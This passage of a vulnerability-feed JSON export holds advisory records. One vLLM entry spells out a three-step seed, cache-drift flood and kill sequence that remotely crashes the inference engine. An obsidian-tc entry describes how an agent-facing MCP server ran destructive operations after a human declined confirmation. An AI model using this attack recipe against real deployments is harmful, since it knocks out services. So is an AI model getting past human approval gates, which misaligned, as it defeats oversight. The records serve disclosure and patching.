GHSA-3476-c5c2-fr73","url":"https://github.com/advisories/GHSA-3476-c5c2-fr73","type":"primary","publishedAt":"2026-10-23T20:45:04.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-3476-c5c2-fr73, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-3476-c5c2-fr73, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-3476-c5c2-fr73, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-3476-c5c2-fr73, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115775","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115775","type":"primary","publishedAt":"2026-10-23T21:17:23.050Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114050","cveId":"CVE-2026-114050","aliases":["GHSA-p92p-rxj5-7p2x"],"kind":"vulnerability","title":"vLLM: Forged multimodal UUID + P0/P1 processor-cache eviction drift: unauthenticated remote crash of the whole vLLM engine","summary":"Multimodal content parts (`image_url`, `video_url`, `input_audio`, ...) accept a user-supplied `uuid` field that vLLM uses **verbatim as the item's cache identity** (`mm_hash`). The two frontend/engine processor caches (P0 \"sender\" cache in the API process, P1 \"receiver\" cache in the EngineCore process) are independent LRU caches whose evictions are **not synchronized**, and the P1 hit path performs **zero consistency validation** — it silently substitutes the cached item's tensor data for whatever the current request actually contains.\n\nA single unauthenticated client can exploit this to kill the entire engine, deterministically, with default server flags:","detail":"## Summary\n\nMultimodal content parts (`image_url`, `video_url`, `input_audio`, ...) accept a user-supplied `uuid` field that vLLM uses **verbatim as the item's cache identity** (`mm_hash`). The two frontend/engine processor caches (P0 \"sender\" cache in the API process, P1 \"receiver\" cache in the EngineCore process) are independent LRU caches whose evictions are **not synchronized**, and the P1 hit path performs **zero consistency validation** — it silently substitutes the cached item's tensor data for whatever the current request actually contains.\n\nA single unauthenticated client can exploit this to kill the entire engine, deterministically, with default server flags:\n\n1. **Seed**: send a small image with `uuid=\"U\"`. Both caches now map `U` to an item with **N_A** visual tokens (e.g. 4).\n2. **Drift**: send ~70 requests, each carrying a *unique* uuid, a max-size image, and an over-long text prompt. Each request is rejected with 400 — but **after** its image has been inserted into the P0 cache (insertion happens during chat rendering, before prompt-length validation), so these requests fill P0 **without ever reaching the engine/P1**. `U` is evicted from P0 only.\n3. **Kill**: send a *large* image with `uuid=\"U\"`. P0 misses → the image is freshly processed and the prompt is spliced with **N_B** (e.g. 2048+) placeholder tokens; the request carries full data to the engine, but P1 still has `U` → the engine **discards the fresh data and substitutes the stale N_A-row tensor**. The scheduler plans for N_B encoder slots while the worker merges N_A embeddings into N_B placeholders → `ValueError: Attempted to assign 4 = 4 multimodal tokens to 2048 placeholders` at `vllm/model_executor/models/utils.py:711` → uncaught in the EngineCore busy loop → `_send_engine_dead()` → the EngineCore process dies, every API server reports `EngineDeadError` and shuts down. `/health` never recovers; the deployment needs a full restart.\n\nVerified end-to-end on the official `vllm/vllm-openai:v0.29.0` image with Qwen2.5-VL-3B-Instruct, default configuration (no flags beyond `--served-model-name`/`--gpu-memory-utilization`): after 70 flood requests the kill request returned `500 EngineCore encountered an issue` and `/health` went dead permanently. The vulnerable code is byte-identical on `main` (post-0.29.0).\n\n## Details\n\n**1. The client-controlled `uuid` becomes the cache hash verbatim.** `vllm/entrypoints/chat_utils.py:1677` / `:1884-1886` read `part[\"uuid\"]` per content part and pass it through as `mm_uuids`. In `vllm/multimodal/processing/inputs.py:62-63`, when no `hf_processor_mm_kwargs` are present (the default for chat requests), the uuid string **is** the item hash — no content binding at all:\n\n```python\n# vllm/multimodal/processing/inputs.py:62-63\nelse:\n hashes.append(uuid_item) # client string used verbatim as mm_hash\n```\n\n**2. P0 insertion happens before request validation.** In the serving path, `render_chat_request` (`vllm/entrypoints/openai/chat_completion/serving.py:275`) runs full mm processing — `mm_processor.apply` (`vllm/renderers/base.py:759`) → `_cached_apply_hf_processor` → `_merge_mm_kwargs` → `cache.get_and_update_item` (`vllm/multimodal/processing/processor.py:1338`), which inserts the processed item into the P0 sender cache (default `mm_processor_cache_type=\"lru\"`, 4 GiB). Only afterwards does `get_max_tokens` (`vllm/entrypoints/serve/utils/api_utils.py:183-186`) reject over-long prompts with 400. **A request can therefore write to P0 while never reaching the engine** — the primitive that desynchronizes P0 from P1. (Public issue #43941 documented this same asymmetry for the opposite drift direction, which was later handled via `MultiModalCacheMissError`; the P0-miss/P1-hit direction below was never addressed.)\n\n**3. P1 substitutes cached data on hash hit with no consistency check.** In the EngineCore input thread, `preprocess_add_request` (`vllm/v1/engine/core.py:997-1000`) calls `mm_receiver_cache.get_and_update_features`, which only replaces `feature.data` (`vllm/multimodal/cache.py:673-690`) and keeps the request's own `mm_position` (placeholder layout). On a cache hit the receiver cache returns the stale item wholesale:\n\n```python\n# vllm/multimodal/cache.py:739-740 (MultiModalReceiverCache.get_and_update_item)\nif (cached_item := self._cache.get(mm_hash)) is not None:\n return cached_item # fresh data silently discarded; no size/modality check\n```\n\nOnly the opposite drift (P0 hit / P1 miss, `data=None`) is handled, via the retryable `MultiModalCacheMissError`. Nothing validates that the cached item's modality, shape, or token count matches the current request's placeholders.\n\n**4. The mismatch is fatal to the engine.** The scheduler plans encoder work from the request's (fresh) placeholder count N_B, while the worker gathers embeddings from the stale N_A-row tensor (encoder-cache hit under the same forged hash, or re-encoding the stale data — both yield N_A rows). `_merge_multimodal_embeddings` then raises:\n\n```python\n# vllm/model_executor/models/utils.py:703-714\ninputs_embeds[is_multimodal] = mm_embeds_flat.to(dtype=input_dtype) # RuntimeError\n...\nraise ValueError(\n f\"Attempted to assign {expr} = {num_actual_tokens} \"\n f\"multimodal tokens to {num_expected_tokens} placeholders\") from e\n```\n\nThis exception is raised inside the worker's input preparation with no per-request containment, propagates to the EngineCore busy loop's top-level handler (`vllm/v1/engine/core.py:1372`), and triggers `_send_engine_dead()`. The API server's `output_handler` receives `EngineDeadError` (`vllm/v1/engine/async_llm.py:819`) and the whole process tree shuts down. (Issue #55546 independently reported this sink — \"one bad multimodal item kills the entire V1 engine tree\" — from an organically occurring stale cache entry; this report provides the missing deterministic, remote, single-attacker trigger.)\n\n**Cost of the attack.** With the default `mm_processor_cache_gb=4`, one max-size Qwen2.5-VL image (12845056 pixels)\n\nAffected package ranges reported by GitHub:\nvllm: < 0.31.0","action":"GitHub lists first patched versions: vllm: 0.31.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:43:44.000Z","updatedAt":"2026-10-23T20:43:45.000Z","regions":["Global"],"vendor":null,"product":"vllm","stacks":["vLLM","Python packages (PyPI)","vllm","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-p92p-rxj5-7p2x","asOf":"2026-10-23T20:43:45.000Z"},"epss":{"probability":0.00203,"percentile":0.10124,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114050&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-p92p-rxj5-7p2x","url":"https://github.com/advisories/GHSA-p92p-rxj5-7p2x","type":"primary","publishedAt":"2026-10-23T20:43:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p92p-rxj5-7p2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-p92p-rxj5-7p2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-p92p-rxj5-7p2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-p92p-rxj5-7p2x, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-p92p-rxj5-7p2x, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114050","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114050","type":"primary","publishedAt":"2026-10-21T01:17:27.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114050&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114050, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115478","cveId":"CVE-2026-115478","aliases":["GHSA-r3g7-r4hr-m258"],"kind":"vulnerability","title":"obsidian-tc: Memory-lifecycle tools overwrite unowned notes or partially commit lifecycle changes","summary":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.0.1 until 1.31.4, `create_entity`, `link_entities`, `rename_entity`, `unlink_entities` and `delete_entity` regenerate memory notes from SQLite at the computed `memory/<type>/<name>.md` path without reliably preserving note ownership or the consistency of a failed lifecycle operation. During shared materialization, a hand-authored note or an orphan left by a different entity whose name sanitized to the same path could have its entire body overwritten on the next write naming that type and name, with non-owned frontmatter preserved. `rename_entity` also seeded the destination path with a direct atomic write without validating ownership and could overwrite a foreign note there. Separately, several tools mutated SQLite before fallible filesystem work: `create_entity` and `link_entities` inserted the row or relation before materialization; `rename_entity` updated the entity, including a retired status, before updating its note; `unlink_entities` removed a relation before rematerializing the source note; and `delete_entity`'s cascade removed the target and its relations before rematerializing neighbouring notes. A later filesystem failure could therefore leave a row or relation changed and the memory graph inconsistent with the notes on disk even when the operation failed. An authorized caller with the required memory-tool permissions could, without intending to, destroy the body of a vault note outside the entity being written; `delete_entity` additionally requires its deletion permission and destructive confirmation, which this memory flaw does not bypass. Snapshots-before-write through `restore_note` mitigate the overwrite only where snapshots are enabled and the note had previously been written through obsidian-tc. This issue is fixed in version 1.31.4.","detail":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.0.1 until 1.31.4, `create_entity`, `link_entities`, `rename_entity`, `unlink_entities` and `delete_entity` regenerate memory notes from SQLite at the computed `memory/<type>/<name>.md` path without reliably preserving note ownership or the consistency of a failed lifecycle operation. During shared materialization, a hand-authored note or an orphan left by a different entity whose name sanitized to the same path could have its entire body overwritten on the next write naming that type and name, with non-owned frontmatter preserved. `rename_entity` also seeded the destination path with a direct atomic write without validating ownership and could overwrite a foreign note there. Separately, several tools mutated SQLite before fallible filesystem work: `create_entity` and `link_entities` inserted the row or relation before materialization; `rename_entity` updated the entity, including a retired status, before updating its note; `unlink_entities` removed a relation before rematerializing the source note; and `delete_entity`'s cascade removed the target and its relations before rematerializing neighbouring notes. A later filesystem failure could therefore leave a row or relation changed and the memory graph inconsistent with the notes on disk even when the operation failed. An authorized caller with the required memory-tool permissions could, without intending to, destroy the body of a vault note outside the entity being written; `delete_entity` additionally requires its deletion permission and destructive confirmation, which this memory flaw does not bypass. Snapshots-before-write through `restore_note` mitigate the overwrite only where snapshots are enabled and the note had previously been written through obsidian-tc. This issue is fixed in version 1.31.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:30.023Z","updatedAt":"2026-10-23T18:47:40.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-r3g7-r4hr-m258","asOf":"2026-10-23T18:47:40.000Z"},"epss":{"probability":0.00323,"percentile":0.25137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115478&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115478","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115478","type":"primary","publishedAt":"2026-10-23T15:17:30.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-r3g7-r4hr-m258","url":"https://github.com/advisories/GHSA-r3g7-r4hr-m258","type":"primary","publishedAt":"2026-10-23T18:47:25.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-r3g7-r4hr-m258, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115478&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115478, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115477","cveId":"CVE-2026-115477","aliases":["GHSA-737x-cwfr-5vvc"],"kind":"vulnerability","title":"obsidian-tc: Declined human-in-the-loop confirmations can permit destructive calls over HTTP","summary":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.13.0 until 1.31.4, on a Streamable HTTP deployment with `auth.jwtSecret` configured and a 2026-07-28-era client declaring `elicitation.form` support, a dispatch-gated tool call offered an `inputRequired` confirmation could still complete after the human declined or cancelled, or the elicitation response was omitted or malformed, provided the client echoed the validly bound `requestState` on resubmission. The server trusted an authentic, call-bound state as proof of approval even though that state was minted before the `elicitation/create` leg was asked and proved only that the resubmission belonged to the same call. A client behaving incorrectly or under an attacker's control could therefore execute dispatch-gated destructive vault operations without the human's approval, while still requiring the caller's ordinary tool permissions. Only tools marked `destructive: true` or requiring a scope with a human-in-the-loop floor were reachable through this bypass. The sixteen handler-side conditionally gated tools, including `write_note` overwrite and `move_note`, did not read elicitation state on the modern wire and let neither approval nor decline through that path. Affected deployments using stdio or leaving `auth.jwtSecret` unset instead used the CLI `elicit_token` fallback and did not offer this `requestState` round trip. The fix does not prevent a malicious client from reporting a fabricated approval, because the server cannot verify that the client displayed the form or that a human saw it. This issue is fixed in version 1.31.4.","detail":"obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. From 1.13.0 until 1.31.4, on a Streamable HTTP deployment with `auth.jwtSecret` configured and a 2026-07-28-era client declaring `elicitation.form` support, a dispatch-gated tool call offered an `inputRequired` confirmation could still complete after the human declined or cancelled, or the elicitation response was omitted or malformed, provided the client echoed the validly bound `requestState` on resubmission. The server trusted an authentic, call-bound state as proof of approval even though that state was minted before the `elicitation/create` leg was asked and proved only that the resubmission belonged to the same call. A client behaving incorrectly or under an attacker's control could therefore execute dispatch-gated destructive vault operations without the human's approval, while still requiring the caller's ordinary tool permissions. Only tools marked `destructive: true` or requiring a scope with a human-in-the-loop floor were reachable through this bypass. The sixteen handler-side conditionally gated tools, including `write_note` overwrite and `move_note`, did not read elicitation state on the modern wire and let neither approval nor decline through that path. Affected deployments using stdio or leaving `auth.jwtSecret` unset instead used the CLI `elicit_token` fallback and did not offer this `requestState` round trip. The fix does not prevent a malicious client from reporting a fabricated approval, because the server cannot verify that the client displayed the form or that a human saw it. This issue is fixed in version 1.31.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:29.840Z","updatedAt":"2026-10-23T17:30:11.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-737x-cwfr-5vvc","asOf":"2026-10-23T17:30:11.000Z"},"epss":{"probability":0.00354,"percentile":0.28772,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115477&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115477","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115477","type":"primary","publishedAt":"2026-10-23T15:17:29.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-737x-cwfr-5vvc","url":"https://github.com/advisories/GHSA-737x-cwfr-5vvc","type":"primary","publishedAt":"2026-10-23T17:30:10.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-737x-cwfr-5vvc, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115477&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115477, scored 2026-10-25. This is a model estimate, not proof of 